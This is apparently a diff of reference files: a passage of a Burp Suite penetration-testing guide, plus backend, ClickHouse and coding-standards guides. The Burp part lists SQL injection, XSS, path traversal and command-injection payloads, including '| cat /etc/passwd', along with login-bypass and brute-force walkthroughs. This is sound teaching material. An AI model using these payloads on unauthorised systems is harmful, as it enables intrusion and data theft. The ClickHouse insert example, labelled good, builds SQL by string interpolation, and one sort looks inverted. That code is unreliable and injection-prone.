+1. Go to **Proxy > HTTP history** tab
+2. Click any entry to view full request/response
+3. Sort by clicking column headers (# for chronological order)
+4. Use filters to focus on relevant traffic
+
+### Phase 2: Modifying Requests
+
+#### Intercept and Modify
+Change request parameters before forwarding:
+
+1. Enable interception: **Intercept on**
+2. Trigger target request in browser
+3. Locate parameter to modify in intercepted request
+4. Edit value directly in request editor
+5. Click **Forward** to send modified request
+
+#### Common Modification Targets
+| Target | Example | Purpose |
+|--------|---------|---------|
+| Price parameters | `price=1` | Test business logic |
+| User IDs | `userId=admin` | Test access control |
+| Quantity values | `qty=-1` | Test input validation |
+| Hidden fields | `isAdmin=true` | Test privilege escalation |
+
+#### Example: Price Manipulation
+
+```http
+POST /cart HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+
+productId=1&quantity=1&price=100
+
+# Modify to:
+productId=1&quantity=1&price=1
+```
+
+Result: Item added to cart at modified price.
+
+### Phase 3: Setting Target Scope
+
+#### Define Scope
+Focus testing on specific target:
+
+1. Go to **Target > Site map**
+2. Right-click target host in left panel
+3. Select **Add to scope**
+4. When prompted, click **Yes** to exclude out-of-scope traffic
+
+#### Filter by Scope
+Remove noise from HTTP history:
+
+1. Click display filter above HTTP history
+2. Select **Show only in-scope items**
+3. History now shows only target site traffic
+
+#### Scope Benefits
+- Reduces clutter from third-party requests
+- Prevents accidental testing of out-of-scope sites
+- Improves scanning efficiency
+- Creates cleaner reports
+
+### Phase 4: Using Burp Repeater
+
+#### Send Request to Repeater
+Prepare request for manual testing:
+
+1. Identify interesting request in HTTP history
+2. Right-click request and select **Send to Repeater**
+3. Go to **Repeater** tab to access request
+
+#### Modify and Resend
+Test different inputs efficiently:
+
+```
+1. View request in Repeater tab
+2. Modify parameter values
+3. Click Send to submit request
+4. Review response in right panel
+5. Use navigation arrows to review request history
+```
+
+#### Repeater Testing Workflow
+
+```
+Original Request:
+GET /product?productId=1 HTTP/1.1
+
+Test 1: productId=2    → Valid product response
+Test 2: productId=999  → Not Found response  
+Test 3: productId='    → Error/exception response
+Test 4: productId=1 OR 1=1 → SQL injection test
+```
+
+#### Analyze Responses
+Look for indicators of vulnerabilities:
+
+- Error messages revealing stack traces
+- Framework/version information disclosure
+- Different response lengths indicating logic flaws
+- Timing differences suggesting blind injection
+- Unexpected data in responses
+
+### Phase 5: Running Automated Scans
+
+#### Launch New Scan
+Initiate vulnerability scanning (Professional only):
+
+1. Go to **Dashboard** tab
+2. Click **New scan**
+3. Enter target URL in **URLs to scan** field
+4. Configure scan settings
+
+#### Scan Configuration Options
+
+| Mode | Description | Duration |
+|------|-------------|----------|
+| Lightweight | High-level overview | ~15 minutes |
+| Fast | Quick vulnerability check | ~30 minutes |
+| Balanced | Standard comprehensive scan | ~1-2 hours |
+| Deep | Thorough testing | Several hours |
+
+#### Monitor Scan Progress
+Track scanning activity:
+
+1. View task status in **Dashboard**
+2. Watch **Target > Site map** update in real-time
+3. Check **Issues** tab for discovered vulnerabilities
+
+#### Review Identified Issues
+Analyze scan findings:
+
+1. Select scan task in Dashboard
+2. Go to **Issues** tab
+3. Click issue to view:
+   - **Advisory**: Description and remediation
+   - **Request**: Triggering HTTP request
+   - **Response**: Server response showing vulnerability
+
+### Phase 6: Intruder Attacks
+
+#### Configure Intruder
+Set up automated attack:
+
+1. Send request to Intruder (right-click > Send to Intruder)
+2. Go to **Intruder** tab
+3. Define payload positions using § markers
+4. Select attack type
+
+#### Attack Types
+
+| Type | Description | Use Case |
+|------|-------------|----------|
+| Sniper | Single position, iterate payloads | Fuzzing one parameter |
+| Battering ram | Same payload all positions | Credential testing |
+| Pitchfork | Parallel payload iteration | Username:password pairs |
+| Cluster bomb | All payload combinations | Full brute force |
+
+#### Configure Payloads
+
+```
+Positions Tab:
+POST /login HTTP/1.1
+...
+username=§admin§&password=§password§
+
+Payloads Tab:
+Set 1: admin, user, test, guest
+Set 2: password, 123456, admin, letmein
+```
+
+#### Analyze Results
+Review attack output:
+
+- Sort by response length to find anomalies
+- Filter by status code for successful attempts
+- Use grep to search for specific strings
+- Export results for documentation
+
+## Quick Reference
+
+### Keyboard Shortcuts
+| Action | Windows/Linux | macOS |
+|--------|---------------|-------|
+| Forward request | Ctrl+F | Cmd+F |
+| Drop request | Ctrl+D | Cmd+D |
+| Send to Repeater | Ctrl+R | Cmd+R |
+| Send to Intruder | Ctrl+I | Cmd+I |
+| Toggle intercept | Ctrl+T | Cmd+T |
+
+### Common Testing Payloads
+
+```
+# SQL Injection
+' OR '1'='1
+' OR '1'='1'--
+1 UNION SELECT NULL--
+
+# XSS
+<script>alert(1)</script>
+"><img src=x onerror=alert(1)>
+javascript:alert(1)
+
+# Path Traversal
+../../../etc/passwd
+..\..\..\..\windows\win.ini
+
+# Command Injection
+; ls -la
+| cat /etc/passwd
+`whoami`
+```
+
+### Request Modification Tips
+- Right-click for context menu options
+- Use decoder for encoding/decoding
+- Compare requests using Comparer tool
+- Save interesting requests to project
+
+## Constraints and Guardrails
+
+### Operational Boundaries
+- Test only authorized applications
+- Configure scope to prevent accidental out-of-scope testing
+- Rate-limit scans to avoid denial of service
+- Document all findings and actions
+
+### Technical Limitations
+- Community Edition lacks automated scanner
+- Some sites may block proxy traffic
+- HSTS/certificate pinning may require additional configuration
+- Heavy scanning may trigger WAF blocks
+
+### Best Practices
+- Always set target scope before extensive testing
+- Use Burp's browser for reliable interception
+- Save project regularly to preserve work
+- Review scan results manually for false positives
+
+## Examples
+
+### Example 1: Business Logic Testing
+
+**Scenario**: E-commerce price manipulation
+
+1. Add item to cart normally, intercept request
+2. Identify `price=9999` parameter in POST body
+3. Modify to `price=1`
+4. Forward request
+5. Complete checkout at manipulated price
+
+**Finding**: Server trusts client-provided price values.
+
+### Example 2: Authentication Bypass
+
+**Scenario**: Testing login form
+
+1. Submit valid credentials, capture request in Repeater
+2. Send to Repeater for testing
+3. Try: `username=admin' OR '1'='1'--`
+4. Observe successful login response
+
+**Finding**: SQL injection in authentication.
+
+### Example 3: Information Disclosure
+
+**Scenario**: Error-based information gathering
+
+1. Navigate to product page, observe `productId` parameter
+2. Send request to Repeater
+3. Change `productId=1` to `productId=test`
+4. Observe verbose error revealing framework version
+
+**Finding**: Apache Struts 2.5.12 disclosed in stack trace.
+
+## Troubleshooting
+
+### Browser Not Connecting Through Proxy
+- Verify proxy listener is active (Proxy > Options)
+- Check browser proxy settings point to 127.0.0.1:8080
+- Ensure no firewall blocking local connections
+- Use Burp's embedded browser for reliable setup
+
+### HTTPS Interception Failing
+- Install Burp CA certificate in browser/system
+- Navigate to http://burp to download certificate
+- Add certificate to trusted roots
+- Restart browser after installation
+
+### Slow Performance
+- Limit scope to reduce processing
+- Disable unnecessary extensions
+- Increase Java heap size in startup options
+- Close unused Burp tabs and features
+
+### Requests Not Being Intercepted
+- Verify "Intercept on" is enabled
+- Check intercept rules aren't filtering target
+- Ensure browser is using Burp proxy
+- Verify target isn't using unsupported protocol

+Backend architecture patterns and best practices for scalable server-side applications.
+
+## API Design Patterns
+
+### RESTful API Structure
+
+```typescript
+// ✅ Resource-based URLs
+GET    /api/markets                 # List resources
+GET    /api/markets/:id             # Get single resource
+POST   /api/markets                 # Create resource
+PUT    /api/markets/:id             # Replace resource
+PATCH  /api/markets/:id             # Update resource
+DELETE /api/markets/:id             # Delete resource
+
+// ✅ Query parameters for filtering, sorting, pagination
+GET /api/markets?status=active&sort=volume&limit=20&offset=0
+```
+
+### Repository Pattern
+
+```typescript
+// Abstract data access logic
+interface MarketRepository {
+  findAll(filters?: MarketFilters): Promise<Market[]>
+  findById(id: string): Promise<Market | null>
+  create(data: CreateMarketDto): Promise<Market>
+  update(id: string, data: UpdateMarketDto): Promise<Market>
+  delete(id: string): Promise<void>
+}
+
+class SupabaseMarketRepository implements MarketRepository {
+  async findAll(filters?: MarketFilters): Promise<Market[]> {
+    let query = supabase.from('markets').select('*')
+
+    if (filters?.status) {
+      query = query.eq('status', filters.status)
+    }
+
+    if (filters?.limit) {
+      query = query.limit(filters.limit)
+    }
+
+    const { data, error } = await query
+
+    if (error) throw new Error(error.message)
+    return data
+  }
+
+  // Other methods...
+}
+```
+
+### Service Layer Pattern
+
+```typescript
+// Business logic separated from data access
+class MarketService {
+  constructor(private marketRepo: MarketRepository) {}
+
+  async searchMarkets(query: string, limit: number = 10): Promise<Market[]> {
+    // Business logic
+    const embedding = await generateEmbedding(query)
+    const results = await this.vectorSearch(embedding, limit)
+
+    // Fetch full data
+    const markets = await this.marketRepo.findByIds(results.map(r => r.id))
+
+    // Sort by similarity
+    return markets.sort((a, b) => {
+      const scoreA = results.find(r => r.id === a.id)?.score || 0
+      const scoreB = results.find(r => r.id === b.id)?.score || 0
+      return scoreA - scoreB
+    })
+  }
+
+  private async vectorSearch(embedding: number[], limit: number) {
+    // Vector search implementation
+  }
+}
+```
+
+### Middleware Pattern
+
+```typescript
+// Request/response processing pipeline
+export function withAuth(handler: NextApiHandler): NextApiHandler {
+  return async (req, res) => {
+    const token = req.headers.authorization?.replace('Bearer ', '')
+
+    if (!token) {
+      return res.status(401).json({ error: 'Unauthorized' })
+    }
+
+    try {
+      const user = await verifyToken(token)
+      req.user = user
+      return handler(req, res)
+    } catch (error) {
+      return res.status(401).json({ error: 'Invalid token' })
+    }
+  }
+}
+
+// Usage
+export default withAuth(async (req, res) => {
+  // Handler has access to req.user
+})
+```
+
+## Database Patterns
+
+### Query Optimization
+
+```typescript
+// ✅ GOOD: Select only needed columns
+const { data } = await supabase
+  .from('markets')
+  .select('id, name, status, volume')
+  .eq('status', 'active')
+  .order('volume', { ascending: false })
+  .limit(10)
+
+// ❌ BAD: Select everything
+const { data } = await supabase
+  .from('markets')
+  .select('*')
+```
+
+### N+1 Query Prevention
+
+```typescript
+// ❌ BAD: N+1 query problem
+const markets = await getMarkets()
+for (const market of markets) {
+  market.creator = await getUser(market.creator_id)  // N queries
+}
+
+// ✅ GOOD: Batch fetch
+const markets = await getMarkets()
+const creatorIds = markets.map(m => m.creator_id)
+const creators = await getUsers(creatorIds)  // 1 query
+const creatorMap = new Map(creators.map(c => [c.id, c]))
+
+markets.forEach(market => {
+  market.creator = creatorMap.get(market.creator_id)
+})
+```
+
+### Transaction Pattern
+
+```typescript
+async function createMarketWithPosition(
+  marketData: CreateMarketDto,
+  positionData: CreatePositionDto
+) {
+  // Use Supabase transaction
+  const { data, error } = await supabase.rpc('create_market_with_position', {
+    market_data: marketData,
+    position_data: positionData
+  })
+
+  if (error) throw new Error('Transaction failed')
+  return data
+}
+
+// SQL function in Supabase
+CREATE OR REPLACE FUNCTION create_market_with_position(
+  market_data jsonb,
+  position_data jsonb
+)
+RETURNS jsonb
+LANGUAGE plpgsql
+AS $$
+BEGIN
+  -- Start transaction automatically
+  INSERT INTO markets VALUES (market_data);
+  INSERT INTO positions VALUES (position_data);
+  RETURN jsonb_build_object('success', true);
+EXCEPTION
+  WHEN OTHERS THEN
+    -- Rollback happens automatically
+    RETURN jsonb_build_object('success', false, 'error', SQLERRM);
+END;
+$$;
+```
+
+## Caching Strategies
+
+### Redis Caching Layer
+
+```typescript
+class CachedMarketRepository implements MarketRepository {
+  constructor(
+    private baseRepo: MarketRepository,
+    private redis: RedisClient
+  ) {}
+
+  async findById(id: string): Promise<Market | null> {
+    // Check cache first
+    const cached = await this.redis.get(`market:${id}`)
+
+    if (cached) {
+      return JSON.parse(cached)
+    }
+
+    // Cache miss - fetch from database
+    const market = await this.baseRepo.findById(id)
+
+    if (market) {
+      // Cache for 5 minutes
+      await this.redis.setex(`market:${id}`, 300, JSON.stringify(market))
+    }
+
+    return market
+  }
+
+  async invalidateCache(id: string): Promise<void> {
+    await this.redis.del(`market:${id}`)
+  }
+}
+```
+
+### Cache-Aside Pattern
+
+```typescript
+async function getMarketWithCache(id: string): Promise<Market> {
+  const cacheKey = `market:${id}`
+
+  // Try cache
+  const cached = await redis.get(cacheKey)
+  if (cached) return JSON.parse(cached)
+
+  // Cache miss - fetch from DB
+  const market = await db.markets.findUnique({ where: { id } })
+
+  if (!market) throw new Error('Market not found')
+
+  // Update cache
+  await redis.setex(cacheKey, 300, JSON.stringify(market))
+
+  return market
+}
+```
+
+## Error Handling Patterns
+
+### Centralized Error Handler
+
+```typescript
+class ApiError extends Error {
+  constructor(
+    public statusCode: number,
+    public message: string,
+    public isOperational = true
+  ) {
+    super(message)
+    Object.setPrototypeOf(this, ApiError.prototype)
+  }
+}
+
+export function errorHandler(error: unknown, req: Request): Response {
+  if (error instanceof ApiError) {
+    return NextResponse.json({
+      success: false,
+      error: error.message
+    }, { status: error.statusCode })
+  }
+
+  if (error instanceof z.ZodError) {
+    return NextResponse.json({
+      success: false,
+      error: 'Validation failed',
+      details: error.errors
+    }, { status: 400 })
+  }
+
+  // Log unexpected errors
+  console.error('Unexpected error:', error)
+
+  return NextResponse.json({
+    success: false,
+    error: 'Internal server error'
+  }, { status: 500 })
+}
+
+// Usage
+export async function GET(request: Request) {
+  try {
+    const data = await fetchData()
+    return NextResponse.json({ success: true, data })
+  } catch (error) {
+    return errorHandler(error, request)
+  }
+}
+```
+
+### Retry with Exponential Backoff
+
+```typescript
+async function fetchWithRetry<T>(
+  fn: () => Promise<T>,
+  maxRetries = 3
+): Promise<T> {
+  let lastError: Error
+
+  for (let i = 0; i < maxRetries; i++) {
+    try {
+      return await fn()
+    } catch (error) {
+      lastError = error as Error
+
+      if (i < maxRetries - 1) {
+        // Exponential backoff: 1s, 2s, 4s
+        const delay = Math.pow(2, i) * 1000
+        await new Promise(resolve => setTimeout(resolve, delay))
+      }
+    }
+  }
+
+  throw lastError!
+}
+
+// Usage
+const data = await fetchWithRetry(() => fetchFromAPI())
+```
+
+## Authentication & Authorization
+
+### JWT Token Validation
+
+```typescript
+import jwt from 'jsonwebtoken'
+
+interface JWTPayload {
+  userId: string
+  email: string
+  role: 'admin' | 'user'
+}
+
+export function verifyToken(token: string): JWTPayload {
+  try {
+    const payload = jwt.verify(token, process.env.JWT_SECRET!) as JWTPayload
+    return payload
+  } catch (error) {
+    throw new ApiError(401, 'Invalid token')
+  }
+}
+
+export async function requireAuth(request: Request) {
+  const token = request.headers.get('authorization')?.replace('Bearer ', '')
+
+  if (!token) {
+    throw new ApiError(401, 'Missing authorization token')
+  }
+
+  return verifyToken(token)
+}
+
+// Usage in API route
+export async function GET(request: Request) {
+  const user = await requireAuth(request)
+
+  const data = await getDataForUser(user.userId)
+
+  return NextResponse.json({ success: true, data })
+}
+```
+
+### Role-Based Access Control
+
+```typescript
+type Permission = 'read' | 'write' | 'delete' | 'admin'
+
+interface User {
+  id: string
+  role: 'admin' | 'moderator' | 'user'
+}
+
+const rolePermissions: Record<User['role'], Permission[]> = {
+  admin: ['read', 'write', 'delete', 'admin'],
+  moderator: ['read', 'write', 'delete'],
+  user: ['read', 'write']
+}
+
+export function hasPermission(user: User, permission: Permission): boolean {
+  return rolePermissions[user.role].includes(permission)
+}
+
+export function requirePermission(permission: Permission) {
+  return async (request: Request) => {
+    const user = await requireAuth(request)
+
+    if (!hasPermission(user, permission)) {
+      throw new ApiError(403, 'Insufficient permissions')
+    }
+
+    return user
+  }
+}
+
+// Usage
+export const DELETE = requirePermission('delete')(async (request: Request) => {
+  // Handler with permission check
+})
+```
+
+## Rate Limiting
+
+### Simple In-Memory Rate Limiter
+
+```typescript
+class RateLimiter {
+  private requests = new Map<string, number[]>()
+
+  async checkLimit(
+    identifier: string,
+    maxRequests: number,
+    windowMs: number
+  ): Promise<boolean> {
+    const now = Date.now()
+    const requests = this.requests.get(identifier) || []
+
+    // Remove old requests outside window
+    const recentRequests = requests.filter(time => now - time < windowMs)
+
+    if (recentRequests.length >= maxRequests) {
+      return false  // Rate limit exceeded
+    }
+
+    // Add current request
+    recentRequests.push(now)
+    this.requests.set(identifier, recentRequests)
+
+    return true
+  }
+}
+
+const limiter = new RateLimiter()
+
+export async function GET(request: Request) {
+  const ip = request.headers.get('x-forwarded-for') || 'unknown'
+
+  const allowed = await limiter.checkLimit(ip, 100, 60000)  // 100 req/min
+
+  if (!allowed) {
+    return NextResponse.json({
+      error: 'Rate limit exceeded'
+    }, { status: 429 })
+  }
+
+  // Continue with request
+}
+```
+
+## Background Jobs & Queues
+
+### Simple Queue Pattern
+
+```typescript
+class JobQueue<T> {
+  private queue: T[] = []
+  private processing = false
+
+  async add(job: T): Promise<void> {
+    this.queue.push(job)
+
+    if (!this.processing) {
+      this.process()
+    }
+  }
+
+  private async process(): Promise<void> {
+    this.processing = true
+
+    while (this.queue.length > 0) {
+      const job = this.queue.shift()!
+
+      try {
+        await this.execute(job)
+      } catch (error) {
+        console.error('Job failed:', error)
+      }
+    }
+
+    this.processing = false
+  }
+
+  private async execute(job: T): Promise<void> {
+    // Job execution logic
+  }
+}
+
+// Usage for indexing markets
+interface IndexJob {
+  marketId: string
+}
+
+const indexQueue = new JobQueue<IndexJob>()
+
+export async function POST(request: Request) {
+  const { marketId } = await request.json()
+
+  // Add to queue instead of blocking
+  await indexQueue.add({ marketId })
+
+  return NextResponse.json({ success: true, message: 'Job queued' })
+}
+```
+
+## Logging & Monitoring
+
+### Structured Logging
+
+```typescript
+interface LogContext {
+  userId?: string
+  requestId?: string
+  method?: string
+  path?: string
+  [key: string]: unknown
+}
+
+class Logger {
+  log(level: 'info' | 'warn' | 'error', message: string, context?: LogContext) {
+    const entry = {
+      timestamp: new Date().toISOString(),
+      level,
+      message,
+      ...context
+    }
+
+    console.log(JSON.stringify(entry))
+  }
+
+  info(message: string, context?: LogContext) {
+    this.log('info', message, context)
+  }
+
+  warn(message: string, context?: LogContext) {
+    this.log('warn', message, context)
+  }
+
+  error(message: string, error: Error, context?: LogContext) {
+    this.log('error', message, {
+      ...context,
+      error: error.message,
+      stack: error.stack
+    })
+  }
+}
+
+const logger = new Logger()
+
+// Usage
+export async function GET(request: Request) {
+  const requestId = crypto.randomUUID()
+
+  logger.info('Fetching markets', {
+    requestId,
+    method: 'GET',
+    path: '/api/markets'
+  })
+
+  try {
+    const markets = await fetchMarkets()
+    return NextResponse.json({ success: true, data: markets })
+  } catch (error) {
+    logger.error('Failed to fetch markets', error as Error, { requestId })
+    return NextResponse.json({ error: 'Internal error' }, { status: 500 })
+  }
+}
+```

+# ClickHouse Analytics Patterns
+
+ClickHouse-specific patterns for high-performance analytics and data engineering.
+
+## Overview
+
+ClickHouse is a column-oriented database management system (DBMS) for online analytical processing (OLAP). It's optimized for fast analytical queries on large datasets.
+
+**Key Features:**
+- Column-oriented storage
+- Data compression
+- Parallel query execution
+- Distributed queries
+- Real-time analytics
+
+## Table Design Patterns
+
+### MergeTree Engine (Most Common)
+
+```sql
+CREATE TABLE markets_analytics (
+    date Date,
+    market_id String,
+    market_name String,
+    volume UInt64,
+    trades UInt32,
+    unique_traders UInt32,
+    avg_trade_size Float64,
+    created_at DateTime
+) ENGINE = MergeTree()
+PARTITION BY toYYYYMM(date)
+ORDER BY (date, market_id)
+SETTINGS index_granularity = 8192;
+```
+
+### ReplacingMergeTree (Deduplication)
+
+```sql
+-- For data that may have duplicates (e.g., from multiple sources)
+CREATE TABLE user_events (
+    event_id String,
+    user_id String,
+    event_type String,
+    timestamp DateTime,
+    properties String
+) ENGINE = ReplacingMergeTree()
+PARTITION BY toYYYYMM(timestamp)
+ORDER BY (user_id, event_id, timestamp)
+PRIMARY KEY (user_id, event_id);
+```
+
+### AggregatingMergeTree (Pre-aggregation)
+
+```sql
+-- For maintaining aggregated metrics
+CREATE TABLE market_stats_hourly (
+    hour DateTime,
+    market_id String,
+    total_volume AggregateFunction(sum, UInt64),
+    total_trades AggregateFunction(count, UInt32),
+    unique_users AggregateFunction(uniq, String)
+) ENGINE = AggregatingMergeTree()
+PARTITION BY toYYYYMM(hour)
+ORDER BY (hour, market_id);
+
+-- Query aggregated data
+SELECT
+    hour,
+    market_id,
+    sumMerge(total_volume) AS volume,
+    countMerge(total_trades) AS trades,
+    uniqMerge(unique_users) AS users
+FROM market_stats_hourly
+WHERE hour >= toStartOfHour(now() - INTERVAL 24 HOUR)
+GROUP BY hour, market_id
+ORDER BY hour DESC;
+```
+
+## Query Optimization Patterns
+
+### Efficient Filtering
+
+```sql
+-- ✅ GOOD: Use indexed columns first
+SELECT *
+FROM markets_analytics
+WHERE date >= '2025-01-01'
+  AND market_id = 'market-123'
+  AND volume > 1000
+ORDER BY date DESC
+LIMIT 100;
+
+-- ❌ BAD: Filter on non-indexed columns first
+SELECT *
+FROM markets_analytics
+WHERE volume > 1000
+  AND market_name LIKE '%election%'
+  AND date >= '2025-01-01';
+```
+
+### Aggregations
+
+```sql
+-- ✅ GOOD: Use ClickHouse-specific aggregation functions
+SELECT
+    toStartOfDay(created_at) AS day,
+    market_id,
+    sum(volume) AS total_volume,
+    count() AS total_trades,
+    uniq(trader_id) AS unique_traders,
+    avg(trade_size) AS avg_size
+FROM trades
+WHERE created_at >= today() - INTERVAL 7 DAY
+GROUP BY day, market_id
+ORDER BY day DESC, total_volume DESC;
+
+-- ✅ Use quantile for percentiles (more efficient than percentile)
+SELECT
+    quantile(0.50)(trade_size) AS median,
+    quantile(0.95)(trade_size) AS p95,
+    quantile(0.99)(trade_size) AS p99
+FROM trades
+WHERE created_at >= now() - INTERVAL 1 HOUR;
+```
+
+### Window Functions
+
+```sql
+-- Calculate running totals
+SELECT
+    date,
+    market_id,
+    volume,
+    sum(volume) OVER (
+        PARTITION BY market_id
+        ORDER BY date
+        ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW
+    ) AS cumulative_volume
+FROM markets_analytics
+WHERE date >= today() - INTERVAL 30 DAY
+ORDER BY market_id, date;
+```
+
+## Data Insertion Patterns
+
+### Bulk Insert (Recommended)
+
+```typescript
+import { ClickHouse } from 'clickhouse'
+
+const clickhouse = new ClickHouse({
+  url: process.env.CLICKHOUSE_URL,
+  port: 8123,
+  basicAuth: {
+    username: process.env.CLICKHOUSE_USER,
+    password: process.env.CLICKHOUSE_PASSWORD
+  }
+})
+
+// ✅ Batch insert (efficient)
+async function bulkInsertTrades(trades: Trade[]) {
+  const values = trades.map(trade => `(
+    '${trade.id}',
+    '${trade.market_id}',
+    '${trade.user_id}',
+    ${trade.amount},
+    '${trade.timestamp.toISOString()}'
+  )`).join(',')
+
+  await clickhouse.query(`
+    INSERT INTO trades (id, market_id, user_id, amount, timestamp)
+    VALUES ${values}
+  `).toPromise()
+}
+
+// ❌ Individual inserts (slow)
+async function insertTrade(trade: Trade) {
+  // Don't do this in a loop!
+  await clickhouse.query(`
+    INSERT INTO trades VALUES ('${trade.id}', ...)
+  `).toPromise()
+}
+```
+
+### Streaming Insert
+
+```typescript
+// For continuous data ingestion
+import { createWriteStream } from 'fs'
+import { pipeline } from 'stream/promises'
+
+async function streamInserts() {
+  const stream = clickhouse.insert('trades').stream()
+
+  for await (const batch of dataSource) {
+    stream.write(batch)
+  }
+
+  await stream.end()
+}
+```
+
+## Materialized Views
+
+### Real-time Aggregations
+
+```sql
+-- Create materialized view for hourly stats
+CREATE MATERIALIZED VIEW market_stats_hourly_mv
+TO market_stats_hourly
+AS SELECT
+    toStartOfHour(timestamp) AS hour,
+    market_id,
+    sumState(amount) AS total_volume,
+    countState() AS total_trades,
+    uniqState(user_id) AS unique_users
+FROM trades
+GROUP BY hour, market_id;
+
+-- Query the materialized view
+SELECT
+    hour,
+    market_id,
+    sumMerge(total_volume) AS volume,
+    countMerge(total_trades) AS trades,
+    uniqMerge(unique_users) AS users
+FROM market_stats_hourly
+WHERE hour >= now() - INTERVAL 24 HOUR
+GROUP BY hour, market_id;
+```
+
+## Performance Monitoring
+
+### Query Performance
+
+```sql
+-- Check slow queries
+SELECT
+    query_id,
+    user,
+    query,
+    query_duration_ms,
+    read_rows,
+    read_bytes,
+    memory_usage
+FROM system.query_log
+WHERE type = 'QueryFinish'
+  AND query_duration_ms > 1000
+  AND event_time >= now() - INTERVAL 1 HOUR
+ORDER BY query_duration_ms DESC
+LIMIT 10;
+```
+
+### Table Statistics
+
+```sql
+-- Check table sizes
+SELECT
+    database,
+    table,
+    formatReadableSize(sum(bytes)) AS size,
+    sum(rows) AS rows,
+    max(modification_time) AS latest_modification
+FROM system.parts
+WHERE active
+GROUP BY database, table
+ORDER BY sum(bytes) DESC;
+```
+
+## Common Analytics Queries
+
+### Time Series Analysis
+
+```sql
+-- Daily active users
+SELECT
+    toDate(timestamp) AS date,
+    uniq(user_id) AS daily_active_users
+FROM events
+WHERE timestamp >= today() - INTERVAL 30 DAY
+GROUP BY date
+ORDER BY date;
+
+-- Retention analysis
+SELECT
+    signup_date,
+    countIf(days_since_signup = 0) AS day_0,
+    countIf(days_since_signup = 1) AS day_1,
+    countIf(days_since_signup = 7) AS day_7,
+    countIf(days_since_signup = 30) AS day_30
+FROM (
+    SELECT
+        user_id,
+        min(toDate(timestamp)) AS signup_date,
+        toDate(timestamp) AS activity_date,
+        dateDiff('day', signup_date, activity_date) AS days_since_signup
+    FROM events
+    GROUP BY user_id, activity_date
+)
+GROUP BY signup_date
+ORDER BY signup_date DESC;
+```
+
+### Funnel Analysis
+
+```sql
+-- Conversion funnel
+SELECT
+    countIf(step = 'viewed_market') AS viewed,
+    countIf(step = 'clicked_trade') AS clicked,
+    countIf(step = 'completed_trade') AS completed,
+    round(clicked / viewed * 100, 2) AS view_to_click_rate,
+    round(completed / clicked * 100, 2) AS click_to_completion_rate
+FROM (
+    SELECT
+        user_id,
+        session_id,
+        event_type AS step
+    FROM events
+    WHERE event_date = today()
+)
+GROUP BY session_id;
+```
+
+### Cohort Analysis
+
+```sql
+-- User cohorts by signup month
+SELECT
+    toStartOfMonth(signup_date) AS cohort,
+    toStartOfMonth(activity_date) AS month,
+    dateDiff('month', cohort, month) AS months_since_signup,
+    count(DISTINCT user_id) AS active_users
+FROM (
+    SELECT
+        user_id,
+        min(toDate(timestamp)) OVER (PARTITION BY user_id) AS signup_date,
+        toDate(timestamp) AS activity_date
+    FROM events
+)
+GROUP BY cohort, month, months_since_signup
+ORDER BY cohort, months_since_signup;
+```
+
+## Data Pipeline Patterns
+
+### ETL Pattern
+
+```typescript
+// Extract, Transform, Load
+async function etlPipeline() {
+  // 1. Extract from source
+  const rawData = await extractFromPostgres()
+
+  // 2. Transform
+  const transformed = rawData.map(row => ({
+    date: new Date(row.created_at).toISOString().split('T')[0],
+    market_id: row.market_slug,
+    volume: parseFloat(row.total_volume),
+    trades: parseInt(row.trade_count)
+  }))
+
+  // 3. Load to ClickHouse
+  await bulkInsertToClickHouse(transformed)
+}
+
+// Run periodically
+setInterval(etlPipeline, 60 * 60 * 1000)  // Every hour
+```
+
+### Change Data Capture (CDC)
+
+```typescript
+// Listen to PostgreSQL changes and sync to ClickHouse
+import { Client } from 'pg'
+
+const pgClient = new Client({ connectionString: process.env.DATABASE_URL })
+
+pgClient.query('LISTEN market_updates')
+
+pgClient.on('notification', async (msg) => {
+  const update = JSON.parse(msg.payload)
+
+  await clickhouse.insert('market_updates', [
+    {
+      market_id: update.id,
+      event_type: update.operation,  // INSERT, UPDATE, DELETE
+      timestamp: new Date(),
+      data: JSON.stringify(update.new_data)
+    }
+  ])
+})
+```
+
+## Best Practices
+
+### 1. Partitioning Strategy
+- Partition by time (usually month or day)
+- Avoid too many partitions (performance impact)
+- Use DATE type for partition key
+
+### 2. Ordering Key
+- Put most frequently filtered columns first
+- Consider cardinality (high cardinality first)
+- Order impacts compression
+
+### 3. Data Types
+- Use smallest appropriate type (UInt32 vs UInt64)
+- Use LowCardinality for repeated strings
+- Use Enum for categorical data
+
+### 4. Avoid
+- SELECT * (specify columns)
+- FINAL (merge data before query instead)
+- Too many JOINs (denormalize for analytics)
+- Small frequent inserts (batch instead)
+
+### 5. Monitoring
+- Track query performance
+- Monitor disk usage
+- Check merge operations
+- Review slow query log
+
+**Remember**: ClickHouse excels at analytical workloads. Design tables for your query patterns, batch inserts, and leverage materialized views for real-time aggregations.

+
+# Coding Standards & Best Practices
+
+Universal coding standards applicable across all projects.
+
+## Code Quality Principles
+
+### 1. Readability First
+- Code is read more than written
+- Clear variable and function names
+- Self-documenting code preferred over comments
+- Consistent formatting
+
+### 2. KISS (Keep It Simple, Stupid)
+- Simplest solution that works
+- Avoid over-engineering
+- No premature optimization
+- Easy to understand > clever code
+
+### 3. DRY (Don't Repeat Yourself)
+- Extract common logic into functions
+- Create reusable components
+- Share utilities across modules
+- Avoid copy-paste programming
+
+### 4. YAGNI (You Aren't Gonna Need It)
+- Don't build features before they're needed
+- Avoid speculative generality
+- Add complexity only when required
+- Start simple, refactor when needed
+
+## TypeScript/JavaScript Standards
+
+### Variable Naming
+
+```typescript
+// ✅ GOOD: Descriptive names
+const marketSearchQuery = 'election'
+const isUserAuthenticated = true
+const totalRevenue = 1000
+
+// ❌ BAD: Unclear names
+const q = 'election'
+const flag = true
+const x = 1000
+```
+
+### Function Naming
+
+```typescript
+// ✅ GOOD: Verb-noun pattern
+async function fetchMarketData(marketId: string) { }
+function calculateSimilarity(a: number[], b: number[]) { }
+function isValidEmail(email: string): boolean { }
+
+// ❌ BAD: Unclear or noun-only
+async function market(id: string) { }
+function similarity(a, b) { }
+function email(e) { }
+```
+
+### Immutability Pattern (CRITICAL)
+
+```typescript
+// ✅ ALWAYS use spread operator
+const updatedUser = {
+  ...user,
+  name: 'New Name'
+}
+
+const updatedArray = [...items, newItem]
+
+// ❌ NEVER mutate directly
+user.name = 'New Name'  // BAD
+items.push(newItem)     // BAD
+```
+
+### Error Handling
+
+```typescript
+// ✅ GOOD: Comprehensive error handling
+async function fetchData(url: string) {
+  try {
+    const response = await fetch(url)
+
+    if (!response.ok) {
+      throw new Error(`HTTP ${response.status}: ${response.statusText}`)
